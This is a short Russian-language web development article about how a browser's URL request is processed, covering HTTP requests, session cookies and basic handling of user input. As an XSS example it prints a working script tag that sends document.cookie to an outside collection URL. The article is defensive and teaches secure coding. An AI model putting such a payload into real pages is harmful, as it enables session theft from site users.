Каждый разработчик должен понимать, что происходит с момента ввода адреса страницы в браузере и вывода содержимого на экран – процесс обработки URL. По своей сути, веб-разработка – это процесс обработки url (запрос/ответ). Чем прозрачнее данный процесс, тем легче расширять ваше веб-приложение.
Ключевые понятия:
Для полного понимания процесса советую вам открыть вкладку Net в Firebug’е или Fiddler и посмотреть, какие именно http-запросы отправляются и какие приходят ответы.
Cookies бывают сессионными (до закрытия браузера) и временные (устанавливается срок жизни). Как правило, в сессионных cookies хранится пользовательская сессия (PHPSESSID). Cookies устанавливаются как для пути (/), так и целиком для домена (поддоменов). Управление cookies происходит как на стороне сервера, так и на стороне клиента.
При XSS уязвимостях злоумышленник первым делом попытается выкрасть cookies, например вставкой следующего кода:
<script>document.write('<img src="http://victim/save-cookies.php?cookie="'+escape(document.cookie)+'" />');</script>
После этого, скорее всего, злоумышленник получит контроль над вашей сессией и будет чувствовать себя как дома…
Не доверяйте никому. По возможности используйте строгую типизацию, это избавит вас от возможных ошибок. Если на странице у вас используется постраничный вывод, то помните, что страница не может быть отрицательной и вылезать за общее кол-во страниц. Любознательный пользователь обязательно попробует передать в переменную page все что угодно, но не то, что вы ожидаете прежде всего.
Если вы работаете с пользовательским вводом, то перед выводом полученных пользовательских данных обработайте их. Как правило, хватает обычного htmlspecialchars и striptags.